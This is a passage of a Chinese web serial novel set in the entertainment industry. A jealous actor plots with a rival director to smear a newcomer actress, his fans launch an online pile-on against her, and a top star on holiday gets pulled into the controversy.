秦扬帆这么支持温栩栩,怎么就不能是温栩栩跟秦扬帆有一腿呢? 成唯内心冷笑,甚至在此刻找人调出温栩栩试镜时的监控片段,慢放她与秦扬帆讨论剧本的画面,镜头刻意聚焦在她递咖啡的手,谁能说温栩栩真的只是递咖啡?可能就是在勾引导演呢?只要配上“勾引导演”的标题,足够引爆一场舆论地震。 嫉妒在心底发酵成毒,成唯开始享受这场狩猎的快感。 他想象着温栩栩被负面新闻缠身的狼狈模样,想象着秦扬帆被迫删减她戏份的无奈,想象着粉丝脱粉回踩的疯狂弹幕…… 这些幻想像禁品般让他亢奋。 至于黎云笙的警告?他早已不在乎。 那些大佬会为了一个小艺人真的去主动针对他吗?大概那些人都没有这个时间的。 而且娱乐圈的法则永远是谁更会制造话题,谁就能活得更久。 第1075章 对比 他起身走到落地窗前,俯瞰城市灯火。 霓虹灯下的众生皆如蝼蚁,而他,要踩着温栩栩的脊梁,爬到更高的位置。 就算双手沾满污泥,只要最终站在顶峰,谁会在意他是如何登上去的? “温栩栩,你最好祈祷自己没有弱点。”成唯对着夜色低语,指尖划过玻璃上倒映的自己的脸—,张完美无瑕的面具,下面藏着怎样腐烂的欲望也就只有自己知道了。 坐到这一步,他仍觉得还不够。 成唯的野心不止于此。 他需要彻底扼杀温栩栩的上升通道。 他想起冯吴德对秦扬帆的恨意,那位老导演在酒局上曾醉醺醺地咒骂:“秦扬帆那部《灵媒》要是爆了,我他妈直播吃键盘!” 成唯靠在沙发上,手指反复摩挲着手机屏幕,屏幕上的“冯吴德”三个字像一块磁石,吸引着他所有扭曲的欲望。 他深吸一口气,将呼吸调整成最平稳的节奏,嘴角勾起恰到好处的谦卑弧度,这是他在无数次社交场合练就的“无害微笑”,足以让任何人放下戒心。 按下拨号键的瞬间,他仿佛看见温栩栩被舆论吞噬的模样,听见秦扬帆面对恶意攻击时的愤怒咆哮,而这一切,都将成为他登上顶流的阶梯。 电话接通的等待音像一把钝刀刮过神经,每一声“嘟——”都让他想起试镜现场温栩栩那令人窒息的光芒。 成唯嘴角勾起阴笑,迅速联系冯吴德,他已经放想好怎么游说冯吴德接他这个新剧了。 他就是要利用冯吴德来打擂台。 首先因为冯吴德根秦扬帆本来就有仇。 其次是冯吴德本人就很会营销,冯吴德攻击人的话那更是没有下限。 他就等着冯吴德为了剧的收拾去攻击秦扬帆和温栩栩了。 成唯现在就已经给冯吴德去了电话。 冯吴德最近刚好没有什么工作,本打算休息一段时间的,这会儿正在跟圈子里面的人聚会聊天,结果就接到了成唯的电话。 成唯他记得,之前拍一部主旋律电影的时候他为了票房用过成唯,让他客串过一个角色。 坦白来说成唯的演技在冯吴德看来虽然不够好,但也在及格线,而且最主要的事人聪明会来事儿,客串三天请了剧组三天夜宵下午茶,在组里面也不会故意找事儿。 这人会恭维他,捧着他,冯吴德就喜欢这个。 给他捧得高高的,他高兴啊。 所以一高兴,就跟成唯加了个微信和联系方式,后来也让成唯客串过一次,成唯为了攀附他也是没少费心思。 再加上成唯粉丝也给面子,也捧他,他不过是让成唯客串了下,结果那些粉丝把他夸得天上有地上无得,粉丝心里是真的激动。 粉丝激动于成唯跟大导合作,还进一步省了冯吴德宣传了,省了冯吴德好大的事儿。 所以冯吴德对成唯印象很好。 接到成唯电话的时候冯吴德都是笑着的。 “小唯啊,什么事儿?”冯吴德的声音带着酒局特有的慵懒,背景喧闹声里夹杂着推杯换盏的哄笑。 成唯立刻将脊背挺得更直,语气里掺入恰到好处的急切与谦卑:“冯导,有个绝佳的合作机会想跟您聊聊……是关于一部对标《灵媒》的玄幻剧,如果您能执导,绝对能掀起收视狂潮!” “冯导,我就是想请您来拍一部电视剧……不知道您有没有意向。”成唯试探的开口。 听到成唯说“电视剧”冯吴德微微皱了下眉。 电影与电视剧的鄙视链在圈子里是心照不宣的潜规则,他拍过三部电影入围国际影展,怎么可能自降身份去碰电视剧? 其实他们这个圈层是有鄙视链的,拍电影的看不上拍电视剧的,拍电视剧的瞧不上拍网剧的,拍网剧的瞧不上拍网络大电影的,拍网络大电影的看不上拍短剧的。 而冯吴德一直拍的都是电影,还从没有拍过电视剧。 这也是为什么冯吴德总喜欢喷秦扬帆的另一个原因了。 因为秦扬帆不仅拍电视剧还拍电影,可以说是换着拍,还两类都拍的特别好,所以冯吴德心里也是羡慕嫉妒。 现在听成唯说邀请自己拍电视剧,冯吴德心里有点膈应,觉得成唯是在小看自己,才想着敷衍的推脱了,下一秒成唯特别了解他的开口:“冯导,我们拍的是秦扬帆导演拍的《灵媒》同类的电视剧,您真的不想拍拍看吗?” “以前秦扬帆被捧的那么高那是因为冯导没有跟她拍一类型的作对比,现在只要冯导您也拍了这个题材,绝对能完全压制住秦扬帆的!” 这话,确实是戳动冯吴德内心某点了。 对对对。 他就是这么想的。 反正他拍了同类型的电视剧,那绝对能压制住秦扬帆。 如果连秦扬帆这样的小趴菜他都制不住,还怎么在导演圈子混? 冯吴德的手指在酒杯上摩挲,琥珀色的威士忌在包厢的暖光下泛着涟漪。 包厢内的哄笑也因为成唯的话好像突然安静了一瞬,冯吴德眯起眼。 秦扬帆的名字像一团火,烧得他胸腔发烫。 三年前,两人同台竞争最佳导演奖,秦扬帆那部文艺片《秋蝉》拿了奖,而他商业片《血色江湖》的票房却因排片问题惨败。 从此,秦扬帆成了“艺术与商业兼备的天才”,而他成了“只会讨好市场的庸才”。 冯吴德灌下一口烈酒,喉头滚动着酸涩。 他当然想拍,他想证明谁才是真正的大师。 成唯在电话那头敏锐地捕捉到沉默中的裂缝:“冯导,您想啊,秦扬帆凭什么被捧得那么高?现在秦扬帆拍了《灵媒》这种题材,如果换成您来执导,观众自然会对比,到时候谁更胜一筹,一目了然!” 这句话精准戳中冯吴德的虚荣心。他最恨的不是输,而是被比较时永远屈居第二。 如果拍同类型剧,他不仅能复仇,还能用“电影级质感”碾压秦扬帆的“小家子气”,让所有人知道,他才是驾驭玄幻题材的王者。 第1076章 被泼脏水 感觉到冯吴德态度松动,成唯继续添柴:“而且,投资方已经联系了赵芳艺女士,她承诺追加三千万宣发费用。您执导的话,热搜话题、媒体通稿都会往‘冯秦对决’的方向引,绝对能引爆关注度!”冯吴德的手指猛地收紧,酒杯在掌心发出脆响。 话题性、资源、复仇……成唯抛出的每个筹码都正中红心。 他想起上个月某导演因一部网剧翻红,连金主都对他另眼相看,电视剧或许真能帮他打开新的局面。 冯吴德特地问了自己助理秦扬帆最近接了什么新剧,助理赶紧把资料调出来,清楚什么事后冯吴德更不担心了。 不就是请了个小新人吗?那自然是能压过秦扬帆的。 冯吴德的笑声透过听筒传来,带着几分醉意与傲慢:“哦?对标秦扬帆那部破戏?小唯,你是想让我跟那老东西打擂台?”成唯的心跳猛地加速,他等待的就是这句回应。 秦扬帆与冯吴德的恩怨在圈内不是秘密。 多年前那场电影票房大战,冯吴德输得狼狈,从此每逢公开场合都要阴阳怪气秦扬帆的电影矫情做作男人不喜欢看。成唯早将这点算得通透,此刻只需轻轻添一把火。 “冯导,您想啊,《灵媒》现在热度正高,咱们要是推出一部同题材但更商业化的剧,既能借势引流,又能让观众看到两种风格的碰撞。”成唯刻意停顿,让“碰撞”二字在冯吴德耳中发酵成挑衅,“您要是接这部戏,热搜预定,绝对能压过秦扬帆的风头。” 他听见冯吴德那边传来酒杯磕碰的声响,对方似乎在与人低语商议。 成唯攥紧掌心,指甲掐进肉里。 这是他的惯用伎俩,用“话题性”和“资源”作为诱饵,精准刺中冯吴德的痛点。 那位老导演最爱什么?名利,争议,被捧着当“救世主”的虚荣。 成唯清楚,自己不过是冯吴德复仇的工具,但没关系,他同样需要这把“复仇之剑”刺向温栩栩。 “小唯,你倒是个会挑时候的。”冯吴德的笑声终于再次响起,带着几分意味不明的戏谑。 但他迅速将刺痛转化为筹码:“冯导,您要是能执导,我保证全程配合,哪怕……哪怕设计几场戏专门对标《灵媒》的亮点,咱们分分钟让观众倒戈!” 包厢内的哄笑突然爆发,冯吴德的笑声混在其中格外刺耳:“好!小唯,你这心思我喜欢!你现在就把剧本大纲送过来,咱们细谈!”通话结束的瞬间,成唯几乎要瘫倒在沙发里。 “行了,我把地址发你,你过来一趟。”冯吴德挂断电话,将杯中残酒一饮而尽。 包厢里立刻响起恭维声:“冯导,这是要接大项目了?”他扯动嘴角,眼底却泛起冷光。 冯吴德笑了笑,这次确实是有点张狂,只要一想到能压制秦扬帆那心里就是兴奋激动。 成唯收到地址信息时,指尖几乎在颤抖。 他迅速起身整理西装,对着镜子反复练习表情,既要谦卑得像求教的学生,又要暗藏掌控全局的野心。 他深知冯吴德的弱点,虚荣、好斗、渴望证明。而今天,他要用这些弱点点燃一把火,烧向温栩栩和秦扬帆。 赶到冯吴德别墅时,夜已深沉。 酒局宾客已散,冯吴德独自坐在书房,雪茄烟雾缭绕的有些强人。 成唯进门时,他正盯着《灵媒》的预告片,眉头拧成川字。 其实说是预告片也不对,就是一些预告图罢了。 成唯立刻递上剧本:“冯导,您看,我们设计了多处对比点,女主身份设定比秦扬帆的更复杂,特效预算翻倍,甚至……甚至有一场戏模仿《灵媒》的祭祀场景,但加入血腥元素,绝对能制造话题。” 冯吴德翻动剧本的手指突然顿住,停在某页的“对标设计”章节。 成唯咽了下喉咙:“您知道的,现在观众最爱看‘打擂台’。只要您接这部剧,媒体自然会拉踩秦扬帆,到时候他的《灵媒》再火,也火不过我们的‘升级版’。” 他刻意将“升级版”咬得极重,冯吴德终于笑了,笑声里带着嗜血的兴奋:“小唯,你这脑子,比那些营销团队还狠!行,明天让律师拟合同,我接!” 成唯的脊背瞬间挺直,他压抑着狂喜,低头作谦逊状:“冯导,您放心,我会全力配合。哪怕……哪怕在宣传期制造一些‘技术对比’的话题,比如邀请特效团队公开讨论两剧差异,让观众自发投票。” 冯吴德拍桌大笑:“好!小唯,你这手段够狠够毒,我喜欢!明天发布会,我就要让秦扬帆知道,谁才是玄幻剧的祖宗!” 成功了,第一步棋终于落下。 冯吴德这条毒蛇一旦被放出笼子,定会咬向秦扬帆和温栩栩,而他,将成为这场厮杀中最大的受益者。 他想起冯吴德最擅长的“营销手段”。 预告片恶意剪辑、发布会上阴阳怪气、买通稿拉踩对比……那些卑劣却有效的手段,曾让多少对手溃败。 成唯舔了舔干燥的唇角,嫉妒在心底烧得更旺。 温栩栩,你那张干净的脸,很快就要被泼上脏水了。而秦扬帆,你会看着自己精心打造的剧被恶意围攻,却无力回击。 夜色中,成唯走出别墅时,嘴角的笑已经扭曲成胜利的姿态。 他拨通经纪人的电话:“立刻联系营销号,准备‘冯吴德对标秦扬帆’的通稿。另外,挖《灵媒》剧组黑料,比如道具组预算不足、特效偷工减料……一定要在发布会前放出去!” 这个时间经纪人本来都已经休息了,但成唯这电话又打了过来,经纪人只能爬起来继续让人安排营销。 发布会定在第二天晚上六点,还来得及提前营销。 无非是拉踩《灵媒》剧组,拉踩的事经纪人做多了,所以完全不紧张。 成唯这边的人还在想着怎么营销自己被换掉而去跟冯吴德合作的事,成唯的粉丝那边已经冒出来了。 第1077章 凭什么搭成唯? 起因就是今天成唯的一名疯狂私生粉今天就一直跟着成唯的,成唯和经纪人说的那些话私生粉全部投听到了,内心的那个愤怒根本无法言喻。 她喜欢了成唯这么久,就没见过成唯受过什么大委屈,现在成唯被一个新冒出头的小女星欺负了? 配吗?什么东西? 显然,那私生粉和成唯的心思还挺像的。 这人是私生粉,但爱成唯几乎是爱到疯狂的地步。 成唯这边的营销方案都还没有推出来呢,私生粉就已经在网络上开麦了,将今天成唯受的“委屈”全都公之于众了。 那人虽然是私生,但家里非常有钱,本身也就只喜欢追着成唯跑,当初也为了成唯花了不少钱给他营销,所以现在成唯出了这个事,私生粉立刻炸了,甚至还买了营销号帮着成唯暗骂温栩栩。 这件事已经闹大了,微博全都是讨论温栩栩把成唯挤下去的。 那粉丝说的还挺清楚的,甚至把脏水都泼到了温栩栩的身上,温栩栩是新人,那就是温栩栩的错。 一个新人凭什么有能力跟成唯合作,成唯不说是现在热度最高的男星,但也是排在前几了,那温栩栩算什么? 这私生粉在圈子里面还挺火的,因为偷拍过不少成唯的照片,所以知道她的人很多。 这次私生粉开麦,有些人还当私生粉又拍到了成唯的照片,可谁能想到是拍到成唯受委屈了。 私生粉甚至发了长篇大论让人看明白发生了什么事。 讲的无非是成唯被资本挤出剧组,资本打算捧小情儿这类的话。 这些话一出,别说是成唯粉圈炸了,其它粉丝家也炸了,谁不担心自家爱豆遇到资源咖啊! 更不要说这温栩栩还是个从没听过名字的资源咖,这都能冲上来,这像话吗? 社交平台的评论区早已沦为愤怒的战场。成唯粉丝的控诉像暴雨般倾泻,每一条留言都裹挟着不甘与屈辱。 {《灵媒》剧组还要不要脸了?知不知道这部剧的热度是谁给的?因为成唯进组我们才关注你们剧组的,现在热度够了就要换掉我们成唯,有这么好的事?你们当我们是什么?能这样随便利用?你们真的有把我们放在眼里吗?想要用成哥的热度却又想要捧资本,那我们成哥算什么,被你们资本用来给资源咖垫脚的吗!我们可还活着,可都没死呢!} {温栩栩?哪个?说是十八线都是抬举她,哪里来的一百八十线?真的知道自己是个什么东西吗!怎么敢把我们成哥赶出剧组的?} {反正换做我是温栩栩,我可没那个胆子上来就跟成哥这样优秀的男星合作,我可怕折寿呢,不过某人应该不怕,资源咖嘛,那不都是背后有人的吗?} {不粉成唯的都觉得成唯可怜了,成唯可不是什么小角色了,这都能被随便换掉,今天白天多少热搜都在说成唯即将参演《灵媒》!粉丝都在热场子了,结果最后呢?轻飘飘的就把我们人踢出剧组了,真拿我们当傻子涮了啊!} {看到成唯,我仿佛看到我们哥哥以后怎么被资源咖欺压了。} {温栩栩能不能滚,温栩栩能不能滚啊!} {所以温栩栩到底是谁?都没听说过啊!到底演过什么角色!有人科普吗,我是真的想知道这人演过什么!} {《灵媒》剧组真的不要脸!成唯可是这部剧的活招牌啊!当初官宣他加盟时,热搜直接爆到服务器瘫痪!你们现在用完了就扔,当粉丝是韭菜随便割吗?@灵媒官博 出来道歉!”}一位资深粉丝的帖子迅速被顶上热门,配图是成唯试妆时帅到出圈的路透照,照片下密密麻麻的点赞红心早已被新涌来的愤怒评论淹没。 {温栩栩?谁啊?查无此人!一个一百八十线小透明凭什么挤掉我们哥哥?资源咖背后资本硬是吧?@温栩栩工作室 敢做敢当啊,把金主爸爸的名字亮出来!} 评论区里,粉丝自发整理温栩栩的“黑料”。 尽管她几乎没有任何公开作品。有人翻出她曾跑龙套的剧集截图,配文讽刺:“演尸体都翻不了身的货色,凭什么搭上成唯这样的顶流?” 路人的加入让讨论愈发激烈。 一位影迷博主分析道“成唯现在可是流量保证,商业价值TOP10,剧组这时候换人,不是自毁长城吗?除非……温栩栩背后资本大到能无视收视率?”这条帖子被广泛转发,评论区里不乏冷嘲热讽:“资本的力量呗,娱乐圈早就是有钱人的游戏了。成唯再火,也比不过钞能力。” 粉丝群的哀嚎此起彼伏。 {哥哥这次真的被欺负惨了!他为了《灵媒》推了三个高奢代言,每天泡在剧组研究剧本,结果呢?说踢就踢!} 另有人组织起“#还成唯公道#”的话题,呼吁全网抵制《灵媒》。 {不看!不宣传!不贡献热度!让剧组知道欺负成唯的下场!}群头像纷纷换成黑色,配文“唯唯被虐,心碎2025”。 超话里,粉丝用梗图发泄愤怒,一张成唯微笑的照片被P上“工具人”三个字,另一张温栩栩的路人视角生图则配文“资源咖连夜爬上金主床的狼狈样子”。 尽管这些行为有些过激,但粉丝们仿佛找到了发泄口,将所有的委屈与不甘倾注其中。 甚至有人发起投票:“如果温栩栩和成唯二选一,你会看谁的《灵媒》?”结果99%的投票压倒性地支持成唯。 路人的视角则多了几分理性与唏嘘。 一位网友留言:“虽然不是成唯粉,但这事儿确实离谱。成唯这几年资源飞升,演技也在进步,结果资本说换就换,娱乐圈的残酷真是一览无余。” 这条评论下,有人补充:“想起之前某剧换角事件,被换的演员半年没工作,成唯这次虽然不至于,但口碑肯定受损。” 而温栩栩曾经的“同事”爆料帖更是点燃了火药桶。 某自称群演的网友发帖:“温栩栩以前在我们剧组跑龙套,演冷宫妃子那场戏,导演让她表现疯癫,她直接拿头撞墙,NG十次还抱怨道具太硬!就这演技,凭什么搭成唯?” 第1078章 换角风波 帖子附上模糊的视频片段,尽管画质堪忧,但温栩栩狼狈的模样被截图做成表情包,在网络上疯狂传播。 粉丝见状更加疯狂:“哈哈哈哈笑死,就这水平还想搭我们哥哥?资源咖果然只会靠潜规则!@灵媒导演 眼睛被屎糊了吧?” 还有人模仿温栩栩的语气恶搞:“呜呜呜,我就是想和成唯哥哥对戏嘛~金主爸爸说让我上我就上了~” 评论区里,嘲讽与谩骂交织,甚至有人诅咒温栩栩“滚出娱乐圈”。 在这场舆论风暴中,不乏有理智声音试图平息争议。 一位影评人指出:“换角可能有多种原因,或许角色适配度问题?但粉丝的过激反应反而对成唯不利。” 然而这样的评论瞬间被淹没在“水军洗地”的质疑声中,点赞数寥寥。 成唯的超话管理组连夜发布声明:“拒绝恶意揣测!相信哥哥的选择!专注作品!” 但粉丝不买账,有人反驳:“管理组是不是被公关了?这时候还不护哥哥?” 甚至有人要求管理组下台,矛盾在内部进一步激化。 而路人讨论区里,话题早已延伸:“娱乐圈资源咖有多猖狂?成唯事件只是冰山一角吧?” “资本操控下,演员的尊严在哪?” “心疼成唯,但更心疼那些没背景却努力的好演员……” 还有人预言:“温栩栩以后只要出现在镜头里,都会被骂吧?” 这场换角争议,在短短几小时内演变成全民热议的焦点。 成唯粉丝的愤怒、路人的围观、对资源咖的集体讨伐,交织成一张巨大的网,将《灵媒》剧组与温栩栩推至风口浪尖。而真相如何,似乎早已不重要,在流量至上的时代,情绪与舆论,才是真正的主宰者。 温栩栩的资料这次也是被彻底扒出来了,可以说是扒了个底儿朝天。 当初温栩栩才入圈子演的那些片段也被人翻出来。 一个人只要够红,往昔的料就会被人翻出来,正面的负面的都会被翻出来。 普通网民不会管你是不是黑红,他们只知道热闹就够了,只知道现在的明星又闹了点什么乐子出来给他们看。 温栩栩大概也不会想到自己会以为内这种方式迅速蹿红,莫名其妙的就红了,虽然是黑红。 成唯的粉丝甚至还等着看谁会接手《灵媒》这部戏。 成唯都被欺负成这样了,谁会接?谁敢接?谁敢对上温栩栩这位资源咖的? 支持成唯的路人率先开麦:“反正跟成唯交好的演员肯定不敢碰这烫手山芋!谁接谁被骂!资本硬捧资源咖,观众又不瞎,温栩栩这种查无此人的新人凭什么空降男主?” 评论区里,有人列举数据佐证:“成唯粉丝体量两千五百万,超话签到常年前十,商务代言转化率30%,这样的顶流被换,剧组真不怕粉丝抵制?”言辞间满是对资本强权的不满。 然而,质疑声浪迅速涌来。 一位自称圈内人的网友匿名爆料:“成唯被换真不一定全是资本问题。我听说《灵媒》角色需要大量武打戏和沉浸式表演,成唯曾经拍摄一部武打戏的时候团队以‘身体不适’为由推掉多次集训,剧组这才不得不换人。有了上次的事,这次剧组会不会因为成唯身体不行所以提前换掉了成唯,省的后期没办法集训还耽误时间找不到合适的人来顶替?” 这条评论被反复转发,有人附和:“秦扬帆可是出了名的严苛,之前合作演员哪个不是提前半年进组打磨?成唯真要是敷衍了事,被换也不冤。” 中立路人加入讨论:“演员和剧组的适配度很重要,难道不能是成唯确实不合适?总不能所有换角都扣‘资本打压’的帽子吧?” 有路人就分析了。 “反正在圈子里面跟成唯交好的人肯定不会接这部剧了,我觉得成唯的对家可能会接,或者被称为碰瓷过分的男星有可能接下这部戏,那咖位是绝对不会低于成唯的……我猜猜,大概是热度在大气层外那位,墨澜吧,我觉得最有可能的会是墨澜,毕竟成唯粉丝前不久才越级碰瓷墨澜,说自己热度比墨澜高,颜值比墨澜高,但事实上大家都清楚,不论是从热度、颜值、流量、演技还是商业价值,成唯没有任何能比得过墨澜的地方,其次墨澜的剧才刚刚杀青,墨澜现在处于悠闲度假状态,所以我猜测剧组可能会向墨澜抛出橄榄枝,如果资本真的想捧温栩栩,那绝对会邀请墨澜入组。” “楼上你到底知不知道你在说什么?虽然墨澜比成唯优秀,但不代表墨澜就要去捧资本家的丑孩子啊!而且那可是墨澜哎!火遍全球的华国明星,知道这是什么概念吗!墨澜如果能接这部剧那才是真的疯了!” “不信谣不传谣,你们提成唯不要带我们墨澜啊!别带!跟墨澜没关系!墨澜在休假中!” 提及潜在接替者墨澜,评论区彻底炸锅。 有墨澜粉丝疯狂澄清:“别带我家哥哥!墨澜刚杀青《寰宇》,正在北欧滑雪度假,团队明确表示下半年无工作计划!” 但路人分析帖却层出不穷:“如果资本真想打响这部剧,墨澜绝对是最佳选择。热度全球TOP3,奖项拿到手软,演技公认天花板,粉丝购买力更恐怖,剧组若真能请动他,温栩栩资源咖的骂名瞬间就能被压下去。” 调侃声随之而来:“墨澜接这部剧的唯一可能那就是秦扬帆亲自递剧本+三倍片酬+绝对男主戏份。否则,凭什么让墨澜给新人抬轿?” 话题进一步蔓延至娱乐圈的“鄙视链”与资源分配。 有人犀利点评:“娱乐圈早就是资本的游戏场,成唯这次事件不过是冰山一角。有背景的新人直接空降S级项目,没背景的老戏骨还在为配角试镜奔波,这公平吗?” 这条评论引发集体共鸣,评论区涌现大量“对号入座”的案例:“想起某小花没演技却部部女主,同一剧组的实力派演员十年还在演男二。” “资源咖横行的年代,观众才是最大的输家!” 第1079章 墨澜 网络上吵吵闹闹的同时,秦扬帆导演的过往战绩被反复提及,成为争论焦点。 支持剧组的一方搬出事实:“秦扬帆捧新人的眼光毒辣,《秋蝉》女主当时也是新人,结果直接拿影后!温栩栩或许真有实力,只是你们不知道罢了。” 反对者则冷笑:“实力?能靠资本砸开秦扬帆的门,这‘实力’怕是不一般。别忘了他之前捧的新人可都是科班出身、演技惊艳,温栩栩有啥代表作?” 双方各执一词,甚至有人发起投票:“你认为温栩栩靠实力还是资本上位?”结果呈两极分化,争论愈演愈烈。 “我真服了,你们到底在发什么癫啊!就因为成唯粉丝发了那段话就开始抽疯了?你们要不要看看灵媒的导演是谁,是秦扬帆,你们当秦扬帆是什么猫猫狗狗都会用的吗,如果形象不符合演技不过关秦扬帆是不会用的,温栩栩的虽然是新人,但不代表新人就没有实力,你们是真忘了秦扬帆捧出来多少个新人了?怎么人家之前 那群明星就可以跟新人合作就你家成唯不可以了?成唯被换一定就是资本欺辱?怎么就不能是成唯不适合?比如相貌或者演技?秦扬帆有多苛刻网友不知道吗?” 更不乏阴谋论者浮出水面:“这事儿绝对有猫腻!说不定是成唯团队自导自演,想借被换角博同情、固粉圈呢?”这条言论虽遭成唯粉丝围攻,却意外获得部分路人支持:“娱乐圈炒作手段多着呢,成唯最近商务数据下滑,说不定真在搞苦肉计。” 更有人嘲讽:“建议剧组直接请AI演男主,反正资本要的是流量,AI不会耍大牌、不用集训,还能24小时营业!” “温栩栩资源咖实锤了,建议下次直接改名叫‘温资本’。”这些调侃被大量转发,无形中加剧了《灵媒》热度。 路人讨论还延伸至行业深层问题。 有影评人长文分析:“成唯事件暴露了娱乐圈的病态,流量至上导致演员忽视业务能力,资本干预创作让好剧本沦为工具。长此以往,华娱还有未来吗?” 评论区里,有人感慨:“以前是演员争好剧本,现在是资本喂剧本给演员。成唯或许不是最惨的,但绝对是典型的缩影。” 而关于《灵媒》这部剧的命运,预测五花八门。 乐观者认为:“S级制作班底+秦扬帆执导,哪怕男主换成新人,质量应该还是有保障。天塌了《灵媒》也是S级别的大饼!” 悲观派却嗤之以鼻:“资本硬塞资源咖,观众会用脚投票。温栩栩要是演技拉胯,这部剧必扑。” 这场讨论最终冲上热搜榜第二。 相关词条包括#成唯被换角真相#、#娱乐圈资源咖有多猖獗#、#墨澜会接灵媒吗#等。 营销号趁机带节奏:“独家爆料!《灵媒》剧组已接触墨澜团队,片酬谈判中!” 尽管被粉丝辟谣,却成功将话题推向新高潮。 在喧嚣中,也不乏清醒声音。 一位资深观众总结:“不管真相如何,成唯粉丝的过激反应反而在消耗他的路人缘;温栩栩未出场已被全网黑,未来压力巨大;剧组若处理不当,可能三败俱伤。娱乐圈的每一次风波,都在考验各方的智慧与底线。” 这事儿吵吵嚷嚷的又闹上了热搜。 无外乎是谈论温栩栩配不配合适不合适之类的。 有人直接当场就笑喷了评论“温栩栩合不合适我们不知道,但肯定比你们合适。” 这话堵住了不少人的嘴。 但也没说错啊,温栩栩再不好那也肯定比你们这群开地图炮的人更合适。 墨澜斜倚在私人岛屿的遮阳躺椅上,海藻般浓密的黑发松散地垂落肩头,几缕碎发被海风轻轻掀起,露出他线条凌厉的下颌线。 他刚结束一部耗尽心力的电影拍摄,此刻连骨头都浸在慵懒的蜜糖里,阳光像融化的黄金般泼洒在肌肤上,咸涩的海风裹着椰林的清香拂过面颊,他眯起那双深邃的琥珀色眼眸。 这里是经纪人特意为他安排的度假小岛,人少清净,他还挺喜欢的。 他身着最简单的白色亚麻衬衫,领口随意敞开到第三颗纽扣,衬衫下摆松松地扎进黑色休闲裤,裤脚被海水浸湿一小片,却浑然不觉。整个人像是被抽去了筋骨,连抬手拿酒杯的动作都带着慵懒的弧度,冰镇香槟沿着高脚杯缓缓流淌,在唇齿间炸开清冽的泡沫。 远处私人管家端着新鲜切好的水果盘走近时,他连眼皮都懒得抬,只轻轻晃了晃手指示意对方放下。 这样的闲散时光不过持续了三天,便被经纪人的连环电话打破。 手机在遮阳棚边的木桌上震动时,他眉头微蹙,唇角勾起一抹无奈的笑,本想任由手机继续响铃,但最终还是在第五回震动时伸手捞过,拇指漫不经心地划过接听键。 “姐,什么事?”他的声音裹着慵懒的尾音,沙哑中带着几分性感的倦意。电话那头却传来林姐罕见的急促语调:“你现在在休假对不对?记住,千万别登录微博!也别管国内那些乱七八糟的讨论,成唯被换角的事情跟你半毛钱关系都没有,听见了没?” 墨澜的睫毛颤了颤,杯中香槟晃出一圈涟漪。 娱乐圈的腥风血雨他早已习惯。 他轻笑一声,声音里带着戏谑:“怎么,国内又闹翻天了?成唯那点事儿也能惊动您亲自打电话来拦我?” 林姐的声音瞬间严厉起来:“何止闹翻天!现在全网都在猜剧组会找谁顶替成唯,你那粉丝后援会已经疯了,生怕你被资本盯上。你最近不是要休息吗?千万别被热搜带节奏!《灵媒》剧组那边要是真联系你,你直接推了,听见没?” 墨澜将酒杯搁在唇边,舌尖轻舔残留的冰沫,目光却漫不经心地扫过远处海平线上游弋的帆船。 啊? 墨澜有些懵了下。 他本来是什么都不清楚不知道的状态,但现在经纪人这么着急,实在是让他有些好奇了,到底是什么了不得的东西让经纪人能这么慌的? 出什么大事了?又有人骂他? 那不行 ,他要看看。 第1080章 做什么都是错 等墨澜看到网络上提及《灵媒》相关的话题瞬间来了兴致,不是?还有点意思啊。 经纪人还在那边长篇大论说这个时候不能冒头呢,结果就听到手机响了,提醒她特别关注的艺人上线了,并发了一条微博。 经纪人愣了下。 不是,别搞啊! 她微博特别关注只有一个墨澜,不是墨澜还能是谁发的? 经纪人还没点开微博看墨澜发了什么心里就已经开始慌了,她可最清楚自己带的这位艺人向来都不是什么听话的主,就是担心墨澜知道今天发生的事情所以想要凑热闹,这才主动联系了墨澜让墨澜别发疯。 谁能知道这人还主动关注这件事了。 不像话。 经纪人都要被气笑了,可也知道墨澜是祖宗,也惹不起他,只能先点开看看墨澜都发了点什么,还有没有回旋的余地。 点开微博,就见墨澜冲上了热搜榜首。 经纪人又是眼前一黑。 祖宗!活祖宗啊! 经纪人就看到热搜榜首变成了#墨澜《灵媒》游远# …… 事情要从一小时前说起,因为有路人评论如果资本想要捧温栩栩那一定会选择热度高的男演员,因为成唯算是跟剧组结下梁子了,那些跟成唯稍好一点关系的人也不敢跟成唯明面上作对,所以大概率是不会接这部剧的。 所以会接这部剧的人肯定跟成唯是明面上有仇的。 那流量最大的就是墨澜了。 白玉兰的新视帝,华国火到国外的顶流巨星,一般情况下提及墨澜,是不会把墨澜放到男星榜的,因为男星榜里面都清楚墨澜是时处于大气层外的流量,除去他以外,国内其它男星的热度没有比得过墨澜的。 墨澜这人性子直爽,相貌更是圈内数一数二的高颜值。 这么说吧,也有人说过墨澜丑,但说的是没有出道前的墨澜,说的是故意截取的P了鬼图的墨澜,墨澜本人的颜值那是黑粉看到都要夸一句无敌帅的程度。 说什么都行,但不能说墨澜的颜值。 毕竟墨澜的颜值那是公认的高,你可以黑一些乱七八糟的,但不能黑墨澜的脸啊,长眼睛的都看着呢。 其实墨澜也是很惨的,在爆火的时候曾经被记着围追堵截,墨澜也不知道怎么想的从车上冲出去骑着自行车跑了,结果被人拍下来怒骂墨澜骑电动车不带头盔,当时可以说是满网兜在嘲讽墨澜火了,忘了自己是怎么起来的了。 说什么墨澜给大众造成了不好的影响。 其实挺令人无语的,因为骑电动车不带头盔这件事很多人都干过,但就是因为是墨澜做的,因为是公众人物就上纲上线的。 但凡那不是墨澜,一群人都会嘻嘻哈哈的调侃几句,这就是单纯的对于墨澜的恶意。 但谁也没想到,墨澜在知道自己上热搜后马上登录微博发了条微博“自行车,谢谢。” 就五个字,很清楚明白的说自己骑的是自行车。 有人懂了,觉得自己是误会了墨澜,结果有些人还在这个时候出来现眼,大喊大叫骑的自行车就不用戴头盔了吗,自行车怎么了,自行车就比电动车高贵了吗?作为明星凭什么不戴头盔,这对青少年的影响很不好。 这事儿闹得,骑自行车本来就不需要戴头盔啊!这不是有病吗! 墨澜这次都还没回话,警方那边就已经发公告函表扬墨澜在这次救援活动中友情进场救出了一名小女孩,并点明墨澜骑的是自行车,不需要戴头盔。 行,自行车,不需要戴头盔是吧,那为什么墨澜要救小女孩而不是救小男孩儿?他是不是重女轻男. 想黑一个人的时候真的是什么话都能说得出来。 就连重女轻男的离谱话都能说出来。 就听说过重男轻女,可从来没听说过重女轻男,说这话的时候自己没笑出来吗? 墨澜的粉丝都觉得大千世界无奇不有。 